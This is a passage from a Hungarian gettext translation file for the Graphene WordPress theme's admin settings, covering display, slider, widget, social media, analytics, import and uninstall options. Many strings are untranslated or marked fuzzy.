msgstr ""

#: admin/options-display.php:498
msgid "Archive background gradient right colour"
msgstr ""

#: admin/options-display.php:499
msgid "Archive label colour"
msgstr ""

#: admin/options-display.php:500
#, fuzzy
msgid "Archive text colour"
msgstr "Szín"

#: admin/options-display.php:501
msgid "Archive label and text shadow colour"
msgstr ""

#: admin/options-display.php:525
msgid "Text Style Options"
msgstr "Szöveg stílusának beállításai"

#: admin/options-display.php:528
msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used."
msgstr "Itt CSS szabályokat lehet használni, minden érvényes CSS érték használható."

#: admin/options-display.php:529
msgid "Some example CSS properties values:"
msgstr "Néhány példa CSS érték:"

#: admin/options-display.php:532
msgid "Text font:"
msgstr "Szöveg betütípusa:"

#: admin/options-display.php:536
msgid "Text size and line height:"
msgstr "Szöveg és sor magassága:"

#: admin/options-display.php:540
msgid "Text weight:"
msgstr "Szöveg szélessége:"

#: admin/options-display.php:544
msgid "Text style:"
msgstr "Szöveg stílusa:"

#: admin/options-display.php:548
msgid "Text colour:"
msgstr "Szöveg szine:"

#: admin/options-display.php:553
msgid "Header Text"
msgstr "Fejrész szövege"

#: admin/options-display.php:557
msgid "Title text font"
msgstr "Cím betütípusa"

#: admin/options-display.php:563
msgid "Title text size"
msgstr "Betüméret"

#: admin/options-display.php:569
msgid "Title text weight"
msgstr "Szélesség"

#: admin/options-display.php:575
msgid "Title text line height"
msgstr "Sormagassága"

#: admin/options-display.php:581
msgid "Title text style"
msgstr "Stílusa"

#: admin/options-display.php:590
msgid "Description text font"
msgstr "Bemutatkozó szöveg betütípusa"

#: admin/options-display.php:596
msgid "Description text size"
msgstr "Bemutatkozó szöveg mérete"

#: admin/options-display.php:602
msgid "Description text weight"
msgstr "Bemutatkozó szöveg szélessége"

#: admin/options-display.php:608
msgid "Description text line height"
msgstr "Bemutatkozó szöveg sormagassága"

#: admin/options-display.php:614
msgid "Description text style"
msgstr "Bemutatkozó szöveg stílusa"

#: admin/options-display.php:620
msgid "Content Text"
msgstr "Tartalom szövege"

#: admin/options-display.php:624
msgid "Text font"
msgstr "Betütípus"

#: admin/options-display.php:630
msgid "Text size"
msgstr "Méret"

#: admin/options-display.php:636
msgid "Text line height"
msgstr "Magasság"

#: admin/options-display.php:642
msgid "Text colour"
msgstr "Szín"

#: admin/options-display.php:652
msgid "Link Text"
msgstr "Linkek szövege"

#: admin/options-display.php:656
#, fuzzy
msgid "Link colour (normal state )"
msgstr "Szín (normál)"

#: admin/options-display.php:657
#, fuzzy
msgid "Link colour (visited state )"
msgstr "Szín (már látogatott)"

#: admin/options-display.php:658
#, fuzzy
msgid "Link colour (hover state )"
msgstr "Szín (lebegő)"

#: admin/options-display.php:675
#, fuzzy
msgid "Text decoration (normal state )"
msgstr "Szöveg dekoráció (normál)"

#: admin/options-display.php:681
#, fuzzy
msgid "Text decoration (hover state )"
msgstr "Szöveg dekoráció (lebegő)"

#: admin/options-display.php:694
msgid "Footer Widget Display Options"
msgstr "Lábrész Widget kinézetének beállításai"

#: admin/options-display.php:700
msgid "Number of columns to display"
msgstr "Oszlopok száma"

#: admin/options-display.php:707
msgid "Number of columns to display for front page footer widget"
msgstr "Kezdőoldalon megjelenő oszlopok száma"

#: admin/options-display.php:721
msgid "Navigation Menu Display Options"
msgstr "Navigációs menü kinézetének beállításai"

#: admin/options-display.php:727
msgid "Dropdown menu item width"
msgstr "Lenyíló menü szélessége"

#: admin/options-display.php:733
msgid "Disable description in Header Menu"
msgstr ""

#: admin/options-display.php:741
msgid "Description for default menu \"Home\" item"
msgstr ""

#: admin/options-display.php:757
msgid "Miscellaneous Display Options"
msgstr "Egyéb megjelenési beállítások"

#: admin/options-display.php:760
msgid "Site title options"
msgstr "Oldal címének beállítása"

#: admin/options-display.php:761
msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"
msgstr "Használhatod a következő kódokat a címek megjelentetéséhez: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"

#: admin/options-display.php:765
msgid "Custom front page site title"
msgstr "Egyéni kezdőoldali cím"

#: admin/options-display.php:769
msgid "Defaults to <code>#site-name &raquo; #site-desc</code>. The <code>#post-title</code> tag cannot be used here."
msgstr "Alapesetben <code>#site-name &raquo; #site-desc</code>. A <code>#post-title</code> kód nem használható."

#: admin/options-display.php:774
msgid "Custom content pages site title"
msgstr "Egyéni oldalcím beállítása"

#: admin/options-display.php:778
msgid "Defaults to <code>#post-title &raquo; #site-name</code>."
msgstr "Alapesetben <code>#post-title &raquo; #site-name</code> van beállítva."

#: admin/options-display.php:783
msgid "Favicon options"
msgstr "Favicon beállításai"

#: admin/options-display.php:787
msgid "Favicon URL"
msgstr "Favicon URL-je"

#: admin/options-display.php:791
#: admin/options-general.php:98
msgid "Upload or select image from gallery"
msgstr ""

#: admin/options-display.php:791
#, fuzzy
msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library."
msgstr "Csak írd be az ikon URL címét. Ne hagyd le a <code>http://</code> részt az elejéről!"

#: admin/options-display.php:796
#, fuzzy
msgid "WordPress Editor options"
msgstr "Általános WordPress beállítások használata"

#: admin/options-display.php:800
msgid "Disable custom editor styles"
msgstr ""

#: admin/options-display.php:813
msgid "Custom CSS"
msgstr "Egyéni CSS"

#: admin/options-display.php:818
msgid "Custom CSS styles"
msgstr "Egyéni CSS stílus"

#: admin/options-display.php:820
msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options."
msgstr "Itt tudod a sablonhoz tartozó egyéni CSS kódokat beírni, amiket nem tudtál beállítani."

#: admin/options-general.php:12
msgid "Slider Options"
msgstr "Tallózó beállításai"

#: admin/options-general.php:18
msgid "Disable slider"
msgstr "Tallózó kikapcsolása"

#: admin/options-general.php:26
#, fuzzy
msgid "What do you want to show in the slider"
msgstr "Tallózóban megjelenő kategória"

#: admin/options-general.php:30
msgid "Show latest posts"
msgstr "Újabb bejegyzések"

#: admin/options-general.php:33
msgid "Show random posts"
msgstr "Véletlenszerű"

#: admin/options-general.php:36
msgid "Show specific posts/pages"
msgstr ""

#: admin/options-general.php:39
#, fuzzy
msgid "Show posts from categories"
msgstr "Kategória rejtése"

#: admin/options-general.php:44
#: admin/options-general.php:258
msgid "Posts and/or pages to display"
msgstr "Bejegyzések és/vagy oldalak, amit mutasson"

#: admin/options-general.php:49
#: admin/options-general.php:263
msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>"
msgstr "Add meg a bejegyzés(ek) és/vagy oldal(ak) ID azonosítóját, amit meg akarsz jelentetni. Az azonosítószámokat vesszővel válaszd el. Például: <code>1,13,45,33</code>."

#: admin/options-general.php:50
#, fuzzy
msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above."
msgstr "Csak akkor használható, ha a <strong>Bejegyzések és/vagy oldalak</strong> beállítást használod."

#: admin/options-general.php:56
#, fuzzy
msgid "Categories to display"
msgstr "Bejegyzések és/vagy oldalak, amit mutasson"

#: admin/options-general.php:57
#, fuzzy
msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here."
msgstr "A kiválasztott kategória minden eleme megjelenik a Tallózóban. Használata egyszerű: készíts egy \"Kiemelt\" kategóriát, aztán állítsd be itt, hogy a Tallózóban megjelenjenek a bejegyzései."

#: admin/options-general.php:73
msgid "Number of posts to display"
msgstr "Tallózóban futó bejegyzések száma"

#: admin/options-general.php:104
msgid "Slider display style"
msgstr "Tallózó megjelenési stílusa"

#: admin/options-general.php:108
msgid "Thumbnail and excerpt"
msgstr "Bélyegkép és összefoglaló"

#: admin/options-general.php:109
msgid "Background image and excerpt"
msgstr "Háttérkép és összefoglaló"

#: admin/options-general.php:110
msgid "Full post content"
msgstr "Teljes szöveg"

#: admin/options-general.php:116
#, fuzzy
msgid "Slider animation"
msgstr "Tallózó beállításai"

#: admin/options-general.php:121
#, fuzzy
msgid "Horizontal slide"
msgstr "Tallózó kikapcsolása"

#: admin/options-general.php:122
#, fuzzy
msgid "Vertical slide"
msgstr "Tallózó kikapcsolása"

#: admin/options-general.php:123
msgid "Fade"
msgstr ""

#: admin/options-general.php:124
msgid "No effect"
msgstr ""

#: admin/options-general.php:130
msgid "Slider height"
msgstr "Tallózó magassága"

#: admin/options-general.php:138
msgid "Slider speed"
msgstr "Tallózó sebessége"

#: admin/options-general.php:141
#: admin/options-general.php:150
msgid "milliseconds"
msgstr "milliszekundum (1000 - 1 másodperc)"

#: admin/options-general.php:142
msgid "This is the duration that each slider item will be shown"
msgstr "A tallózandó cikkek megjelenési idejét lehet itt beállítani."

#: admin/options-general.php:147
msgid "Slider transition speed"
msgstr "Tallózó áttünésének sebessége"

#: admin/options-general.php:151
msgid "This is the speed of the slider transition. Lower values = higher speed."
msgstr "Ez a Tallózó lapozási sebességét mutatja. Kisebb értékek=gyorsabb sebesség."

#: admin/options-general.php:156
msgid "Move slider to bottom of page"
msgstr "Tallózó az oldal alján legyen"

#: admin/options-general.php:169
msgid "Front Page Options"
msgstr "Kezdőoldal beállításai"

#: admin/options-general.php:175
msgid "Front page posts categories"
msgstr "Kezdőoldalon megjelenő kategóriák"

#: admin/options-general.php:177
msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page."
msgstr "Csak a megadott kategória bejegyzései jelennek meg. Ha beállítottál saját statikus kezdőoldalt, akkor azt nem fogja befolyásolni."

#: admin/options-general.php:182
msgid "--Disabled--"
msgstr "--Kikapcsolva--"

#: admin/options-general.php:190
msgid "You may select multiple categories by holding down the CTRL key."
msgstr "Több kategóriát is kijelölhetsz a CTRL gomb nyomvatartásával."

#: admin/options-general.php:202
msgid "Homepage Panes"
msgstr "Kezdőoldal panelei"

#: admin/options-general.php:209
msgid "Disable homepage panes"
msgstr "Honlap táblák kikapcsolása"

#: admin/options-general.php:219
msgid "Type of content to show"
msgstr "Tartalomtipus"

#: admin/options-general.php:226
msgid "Latest posts by category"
msgstr "Utolsó bejegyzések a kategóriában"

#: admin/options-general.php:229
msgid "Posts and/or pages"
msgstr "Bejegyzések és/vagy oldalak"

#: admin/options-general.php:234
msgid "Number of latest posts to display"
msgstr "Utolsó bejegyzések száma"

#: admin/options-general.php:238
msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above."
msgstr "Csak akkor használható, ha az <strong>Újabb bejegyzések</strong> vagy <strong>Újabb bejegyzések kategória szerint</strong> beállítást használod."

#: admin/options-general.php:243
msgid "Category to show latest posts from"
msgstr "Kategória, amelyből az bejegyzéseket mutassa"

#: admin/options-general.php:253
msgid "Applicable only if <strong>Latest posts by category</strong> is selected above."
msgstr "Csak akkor használható, ha az <strong>Újabb bejegyzések kategória szerint</strong> beállítást használod."

#: admin/options-general.php:264
msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above."
msgstr "Csak akkor használható, ha a <strong>Bejegyzések és/vagy oldalak</strong> beállítást használod."

#: admin/options-general.php:270
msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>."
msgstr "<strong>Figyelem:</strong> a honlap panelek akkor látszanak, ha a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">statikus kezdőoldal</a> van beállítva a honlapodon."

#: admin/options-general.php:280
msgid "Comments Options"
msgstr "Hozzászólások beállításai"

#: admin/options-general.php:286
msgid "Commenting"
msgstr "Hozzászólás"

#: admin/options-general.php:290
msgid "Use WordPress settings"
msgstr "Általános WordPress beállítások használata"

#: admin/options-general.php:291
msgid "Disabled for pages"
msgstr "Kikapcsolás az oldalaknál"

#: admin/options-general.php:292
msgid "Disabled completely"
msgstr "Teljes kikapcsolás"

#: admin/options-general.php:294
msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages."
msgstr "Figyelem: ez a beállítás felülírja a WordPress Interakciók menüben a \"Hozzászólások engedélyezve az új bejegyzésekhez\" és a \"Hozzászólások engedélyezése\" beállítást a bejegyzés/oldal írásakor.."

#: admin/options-general.php:306
msgid "Child Page Options"
msgstr "Aloldalak beállításai"

#: admin/options-general.php:312
msgid "Hide parent box if content is empty"
msgstr ""

#: admin/options-general.php:318
#, fuzzy
msgid "Child page listings"
msgstr "Ne mutassa a szülőoldal alatt található oldalak listáját"

#: admin/options-general.php:322
#, fuzzy
msgid "Show listing"
msgstr "Mutat"

#: admin/options-general.php:323
#, fuzzy
msgid "Hide listing"
msgstr "Ne mutassa a szülőoldal alatt található oldalak listáját"

#: admin/options-general.php:324
msgid "Only show listing if parent content is empty"
msgstr ""

#: admin/options-general.php:337
msgid "Widget Area Options"
msgstr "Widget terület beállításai"

#: admin/options-general.php:340
msgid "Header widget area"
msgstr "Fejléc Widget terület"

#: admin/options-general.php:341
msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option."
msgstr "<strong>Fontos:</strong> Ez a terület nincs formázva, leggyakrabban hírdetésre és bannerekre, stb. használható. Ha használod, az Egyéni CSS pontban tudod személyre szabni."

#: admin/options-general.php:345
msgid "Enable header widget area"
msgstr "Fejléc Widget terület bekapcsolása"

#: admin/options-general.php:354
msgid "Alternate Widgets"
msgstr "Egyéb Widgetek"

#: admin/options-general.php:355
msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page."
msgstr "Engedélyezni lehet, hogy a sablonban más Widget területeket is használj. Ha bekapcsolod, akkor ezeket a területeket csak a kezdőoldaladon fogod látni, ahogyan azt a Widget beállításai pontban mentetted."

#: admin/options-general.php:358
msgid "Enable alternate front page sidebar widget area"
msgstr "Az Egyéb oldalsó Widget terület bekapcsolása a kezdőoldalon"

#: admin/options-general.php:362
msgid "Enable alternate front page footer widget area"
msgstr "Egyéb lábrész Widget terület bekapcsolása a kezdőoldalon"

#: admin/options-general.php:363
msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option."
msgstr "Be tudod állítani az oszlopok számát, amit a kezdőoldalon és a honlap többi részén lévő lábrész Widget területre alkalmazhatsz, ha ezt bekapcsolod."

#: admin/options-general.php:376
msgid "Top Bar Options"
msgstr "Felső sáv beállításai"

#: admin/options-general.php:382
msgid "Hide the top bar"
msgstr "Felső mező eltüntetése"

#: admin/options-general.php:390
msgid "Hide feed icon"
msgstr "Ne mutassa a hírcsatorna ikont"

#: admin/options-general.php:394
msgid "Use custom feed URL"
msgstr "Egyéni csatorna URL"

#: admin/options-general.php:397
msgid "This custom feed URL will replace the default WordPress RSS feed URL."
msgstr "Ez a beállítás felülírja az alap Wordpress RSS csatorna URL-jét."

#: admin/options-general.php:401
msgid "Open social media links in new window"
msgstr ""

#: admin/options-general.php:405
msgid "Twitter URL"
msgstr "Twitter URL:"

#: admin/options-general.php:408
msgid "Enter the URL to your Twitter page."
msgstr "Add meg Twitter oldalad URL-jét."

#: admin/options-general.php:412
msgid "Facebook URL"
msgstr "Facebook URL"

#: admin/options-general.php:415
msgid "Enter the URL to your Facebook profile page."
msgstr "Add meg a Facebook oldalad URL-jét."

#. translators: %s will be replaced by the social media service name. Example: LinkedIn Title
#: admin/options-general.php:426
#, fuzzy, php-format
msgid "%s Title"
msgstr "Cím:"

#: admin/options-general.php:431
#, php-format
msgid "The title is empty and the following title will be shown: <strong>%s</strong>"
msgstr ""

#. translators: %s will be replaced by the social media service name. Example: LinkedIn URL
#: admin/options-general.php:437
#, php-format
msgid "%s URL"
msgstr "%s URL"

#. translators: %s will be replaced by the social media service name. Example: LinkedIn icon URL
#: admin/options-general.php:442
#, php-format
msgid "%s icon URL"
msgstr "%s ikon URL"

#: admin/options-general.php:445
msgid "Delete"
msgstr "Törlés"

#: admin/options-general.php:453
msgid "Add new social media icon"
msgstr "Új ikon hozzáadása"

#: admin/options-general.php:465
msgid "Social Sharing Buttons"
msgstr "Közösségi megosztó gombok"

#: admin/options-general.php:470
msgid "Show social sharing button"
msgstr "Mutassa a gombokat"

#: admin/options-general.php:476
msgid "Show in Pages as well?"
msgstr "Oldalakon is látszódjon?"

#: admin/options-general.php:480
#, fuzzy
msgid "Social sharing buttons location"
msgstr "Közösségi megosztó gombok"

#: admin/options-general.php:483
msgid "Bottom of posts"
msgstr ""

#: admin/options-general.php:484
#, fuzzy
msgid "Top of posts"
msgstr "Véletlenszerű"

#: admin/options-general.php:485
msgid "Both top and bottom"
msgstr ""

#: admin/options-general.php:491
msgid "Your social sharing button code"
msgstr "Saját megosztó gombok kódja"

#: admin/options-general.php:492
msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc."
msgstr "Be tudsz saját kódokkal állítani közösségi oldalakat, pl.: Facebook, Digg, AddThis, stb."

#: admin/options-general.php:495
msgid "You may use these tags to get the post's URL, title, and excerpt:"
msgstr ""

#: admin/options-general.php:507
msgid "Adsense Options"
msgstr "Adsense beállítások"

#: admin/options-general.php:513
msgid "Show Adsense advertising"
msgstr "Adsense hírdetés mutatása"

#: admin/options-general.php:521
msgid "Show ads on front page as well"
msgstr "Hírdetés megjelenése a kezdőlapon is"

#: admin/options-general.php:527
msgid "Your Adsense code"
msgstr "Adsense kód"

#: admin/options-general.php:540
msgid "Google Analytics Options"
msgstr "Google Analytics beállításai"

#: admin/options-general.php:545
msgid "Enable Google Analytics tracking"
msgstr "Google Analytics követés bekapcsolása"

#: admin/options-general.php:552
msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code>&lt;head&gt;</code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics."
msgstr "<strong>Figyelem:</strong> a sablonban a Google Analytics szkript a <code>&lt;head&gt;</code> részben található, ezzel jobban kihasználható az új szinkronizáló asynchronous Google Analytics szkript. Győződj meg róla, hogy az új szkriptet használod, vagy frissítsd."

#: admin/options-general.php:556
msgid "Google Analytics tracking code"
msgstr "Google Analytics kód"

#: admin/options-general.php:557
msgid "Make sure you include the full tracking code (including the <code>&lt;script&gt;</code> and <code>&lt;/script&gt;</code> tags) and not just the <code>UA-#######-#</code> code."
msgstr "Használd a teljes kódot (beleértve a <code>&lt;script&gt;</code> és a <code>&lt;/script&gt;</code> közötti részeket is) és ne csak a <code>UA-#######-#</code> azonosító kódot."

#: admin/options-general.php:570
msgid "Footer Options"
msgstr "Lábrész beállításai"

#: admin/options-general.php:575
#, fuzzy
msgid "Use Creative Commons licence for content"
msgstr "Mutasd a Creative Commons logót"

#: admin/options-general.php:580
msgid "Copyright text (html allowed)"
msgstr "Szerzői jogi nyilatkozat (html engedélyezve)"

#: admin/options-general.php:581
msgid "If this field is empty, the following default copyright text will be displayed:"
msgstr "Ha üresen hagyod, az alábbi előre beállított szöveg fog megjelenni:"

#: admin/options-general.php:587
msgid "Do not show copyright info"
msgstr "Ne mutassa a szerzői jog szövegét"

#: admin/options-general.php:591
msgid "Do not show the \"Return to top\" link"
msgstr ""

#: admin/options-general.php:603
msgid "Print Options"
msgstr "Nyomtatás beállításai"

#: admin/options-general.php:608
msgid "Enable print CSS for single posts and pages?"
msgstr "Nyomtatáskor használjuk a bejegyzés/oldal CSS-ét?"

#: admin/options-general.php:614
#, fuzzy
msgid "Show print button"
msgstr "Oldalakon is látszódjon a nyomtató ikon?"

#: admin/options-import.php:38
#: admin/options-import.php:169
#: admin/options-presets.php:48
#: admin/uninstall.php:32
msgid "ERROR: You are not authorised to perform that operation"
msgstr "HIBA: Nincs jogosultságod a feladat végrehajtásához."

#: admin/options-import.php:59
msgid "Before you can upload your import file, you will need to fix the following error:"
msgstr "Mielőtt feltöltenéd az import fájlod, az alábbi hibákat kell javítanod:"

#: admin/options-import.php:65
#: admin/options-import.php:98
msgid "Import Graphene Theme Options"
msgstr "Graphene sablon beállításainak importálása"

#: admin/options-import.php:67
msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>."
msgstr "<strong>Figyelem:</strong> Ez a kiegészítés jelenleg fejlesztés alatt áll. Ha próblémád adódik vagy kérdésed van, keresd fel a <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Fejlesztői fórumot</a>."

#: admin/options-import.php:69
msgid "Choose a file from your computer:"
msgstr "Válaszd ki az importálandó fájlt:"

#: admin/options-import.php:69
#, php-format
msgid "Maximum size: %s"
msgstr "Maximális méret: %s"

#: admin/options-import.php:76
msgid "Upload file and import"
msgstr "Fájl feltöltése és importálása"

#: admin/options-import.php:141
msgid "Options import completed"
msgstr "Beállítások importálva"

#: admin/options-import.php:142
msgid "Go to the Graphene options page"
msgstr "Graphene beállítások kezdőoldalára"

#: admin/options-import.php:145
#: admin/options-import.php:150
#: admin/options-import.php:155
msgid "Sorry, there has been an error."
msgstr "Bocsánat, de hiba történt."

#: admin/options-import.php:146
msgid "The uploaded file does not contain valid Graphene options."
msgstr "A feltöltött fájl nem tartalmaz a Graphene sablonhoz megfelelő értéket."

#: admin/options-import.php:151
msgid "The uploaded file could not be read."
msgstr "A feltöltött fájl nem olvasható."

#: admin/options-import.php:156
msgid "The uploaded file is not supported."
msgstr "A feltöltött fájl nem támogatott."

#: admin/options-import.php:164
msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini."
msgstr "A feltöltött fájl nem tartalmaz értéket. Tölts fel olyan fájlt, amiben több érték szerepel. Ezt a hibaüzenetet akkor is láthatod, ha a feltöltések nincsenek engedélyezve a php.ini fájlban a szerveren, vagy a post_max_size értéke kisebb az upload_max_size értékénél."

#: admin/options-init.php:34
msgid "Graphene Options"
msgstr "Graphene beállításai"

#: admin/options-init.php:35
msgid "Graphene FAQs"
msgstr "Graphene GYIK"

#: admin/options-init.php:85
msgid "Toggle all options boxes"
msgstr ""

#: admin/options-init.php:127
msgid "Template preview not found."
msgstr "A sablon előnézete nem található."

#: admin/options-init.php:130
msgid "default"
msgstr "alapbeállítás"

#: admin/options-init.php:186
#: admin/options-init.php:190
msgid "Theme default"
msgstr "Sablon alapbeállítás"

#: admin/options-presets.php:36
msgid "The \"Normal website\" settings preset has been applied."
msgstr ""

#: admin/options-presets.php:41
#, fuzzy
msgid "Settings have been reset."
msgstr "Beállítások elmentve."

#: admin/options-validator.php:24
#, fuzzy
msgid "ERROR: Invalid category to show in slider."
msgstr "Tallózóban megjelenő kategória"

#: admin/options-validator.php:27
msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider."
msgstr ""

#: admin/options-validator.php:30
msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider."
msgstr ""

#: admin/options-validator.php:40
msgid "ERROR: Invalid category selected for the slider categories."
msgstr ""

#: admin/options-validator.php:46
msgid "ERROR: The number of posts to displayed in the slider must be a an integer value."
msgstr ""

#: admin/options-validator.php:49
msgid "ERROR: Invalid option for the slider image is specified."
msgstr ""

#: admin/options-validator.php:51
msgid "ERROR: Bad URL entered for the custom slider image URL."
msgstr ""

#: admin/options-validator.php:53
msgid "ERROR: Invalid option for the slider display style is specified."
msgstr ""

#: admin/options-validator.php:55
msgid "ERROR: The value for slider height must be an integer."
msgstr ""

#: admin/options-validator.php:57
msgid "ERROR: The value for slider speed must be an integer."
msgstr ""

#: admin/options-validator.php:59
msgid "ERROR: The value for slider transition speed must be an integer."
msgstr ""

#: admin/options-validator.php:61
msgid "ERROR: Invalid slider animation."
msgstr ""

#: admin/options-validator.php:75
msgid "ERROR: Invalid category selected for the front page posts categories."
msgstr ""

#: admin/options-validator.php:86
msgid "ERROR: Invalid option for the type of content to show in homepage panes."
msgstr ""

#: admin/options-validator.php:88
msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer."
msgstr ""

#: admin/options-validator.php:93
msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes."
msgstr ""

#: admin/options-validator.php:107
msgid "ERROR: Invalid option for the comments option."
msgstr ""

#: admin/options-validator.php:116
#, fuzzy
msgid "ERROR: Invalid option for the child page listings."
msgstr "Ne mutassa a szülőoldal alatt található oldalak listáját"

#: admin/options-validator.php:134
msgid "ERROR: Bad URL entered for the custom feed URL."
msgstr ""

#: admin/options-validator.php:138
msgid "ERROR: Bad URL entered for the Twitter URL."
msgstr ""

#: admin/options-validator.php:140
msgid "ERROR: Bad URL entered for the Facebook URL."
msgstr ""

#: admin/options-validator.php:152
#, fuzzy
msgid "ERROR: Bad URL entered for the social media icon URL."
msgstr "A profiloldal URL címe."

#: admin/options-validator.php:153
#, fuzzy
msgid "ERROR: Bad URL entered for the social media URL."
msgstr "A profiloldal URL címe."

#: admin/options-validator.php:169
msgid "ERROR: Invalid option for the social sharing buttons location."
msgstr ""

#: admin/options-validator.php:229
msgid "ERROR: Invalid option for the Search box location."
msgstr ""

#: admin/options-validator.php:234
msgid "ERROR: Invalid option for the column mode."
msgstr ""

#: admin/options-validator.php:235
msgid "ERROR: Invalid option for the bbPress column mode."
msgstr ""

#: admin/options-validator.php:242
#, php-format
msgid "ERROR: Invalid width for %s. Width value must be positive number without units."
msgstr ""

#: admin/options-validator.php:250
msgid "ERROR: Invalid option for the post date display."
msgstr ""

#: admin/options-validator.php:316
#, fuzzy
msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value."
msgstr "Kezdőoldalon megjelenő oszlopok száma"

#: admin/options-validator.php:321
msgid "ERROR: The width of the submenu must be a an integer value."
msgstr ""

#: admin/options-validator.php:329
msgid "ERROR: Bad URL entered for the favicon URL."
msgstr ""

#: admin/options-validator.php:344
msgid "ERROR: Invalid action hook selected widget action hooks."
msgstr ""

#: admin/options.php:81
#: admin/uninstall.php:23
msgid "Uninstall Graphene"
msgstr "Graphene eltávolítása"

#: admin/options.php:82
msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted."
msgstr "Erősítsd meg, hogy tényleg törölni szeretnéd a Graphene sablont. Az összes beállítás törölve lesz az adatbázisból."

#: admin/options.php:83
msgid "This action is not reversible."
msgstr "A folyamat nem fordítható vissza."

#: admin/options.php:87
#: admin/options.php:339
msgid "Uninstall Theme"
msgstr "Sablon eltávolítása"

#: admin/options.php:101
msgid "Graphene Theme Options"
msgstr "Graphene sablonbeállítások"

#: admin/options.php:103
msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages."
msgstr "Ezek a sablon általános beállításai. Az oldalak és bejegyzések beállításait tudod itt elvégezni."

#: admin/options.php:111
msgid "General"
msgstr "Alapbeállítás"

#: admin/options.php:112
msgid "Display"
msgstr "Kinézet"

#: admin/options.php:113
msgid "Advanced"
msgstr ""

#: admin/options.php:152
msgid "Save Options"
msgstr "Beállítások mentése"

#: admin/options.php:164
msgid "Need help?"
msgstr ""

#: admin/options.php:168
msgid "Documentation Wiki"
msgstr ""

#: admin/options.php:169
msgid "Support Forum"
msgstr ""

#: admin/options.php:171
#, php-format
msgid "Also, find out how you can %s."
msgstr ""

#: admin/options.php:171
#, fuzzy
msgid "support the Graphene theme"
msgstr "Graphene sablon beállításainak importálása"

#: admin/options.php:178
msgid "Support the developer"
msgstr "Fejlesztő támogatása"

#: admin/options.php:181
msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development."
msgstr "A sablon fejlesztése sok időt vesz igénybe. Ha tetszik a sablon vagy kereskedelmi oldalon használod, támogasd kérlek a további fejlesztést."

#: admin/options.php:195
#, fuzzy
msgid "Graphene Theme news"
msgstr "Graphene sablonbeállítások"

#: admin/options.php:206
msgid "No news items."
msgstr ""

#: admin/options.php:223
msgid "Graphene Usage Survey"
msgstr ""

#: admin/options.php:226
msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous."
msgstr ""

#: admin/options.php:227
msgid "Take the survey"
msgstr ""

#: admin/options.php:237
msgid "Add-ons and plugins"
msgstr ""

#: admin/options.php:240
msgid "Add-ons"
msgstr ""

#: admin/options.php:241
msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability."
msgstr ""

#: admin/options.php:245
msgid "Installed"
msgstr ""

#: admin/options.php:246
#: admin/options.php:265
#, fuzzy
msgid "Not installed"
msgstr "(Nincs cím)"

#: admin/options.php:246
#, fuzzy
msgid "Learn more"
msgstr "Olvasd tovább"

#: admin/options.php:247
msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices."
msgstr ""

#: admin/options.php:250
msgid "Plugins"
msgstr ""

#: admin/options.php:251
msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them."
msgstr ""

#: admin/options.php:264
msgid "Activated"
msgstr ""

#: admin/options.php:277
msgid "Options Presets"
msgstr "Beállítási értékek"

#: admin/options.php:280
msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below."
msgstr "Az alapbeállítások ehhez a sablonhoz, amik előre lettek definiálva. Ha először használod a sablont, vagy szeretnéd visszaállítani az alapbeállításokat, akkor itt tudod megtenni az alábbi lehetőségek közül."

#: admin/options.php:281
msgid "Note that you can still configure the individual settings after you apply any preset."
msgstr "Ha egy értéket jóváhagysz, az hatással lesz az eddig beállított saját értékeidre is."

#: admin/options.php:286
msgid "Select Options Preset"
msgstr "Beállítási értékek kiválasztása"

#: admin/options.php:289
msgid "Normal website"
msgstr "Normál weboldal"

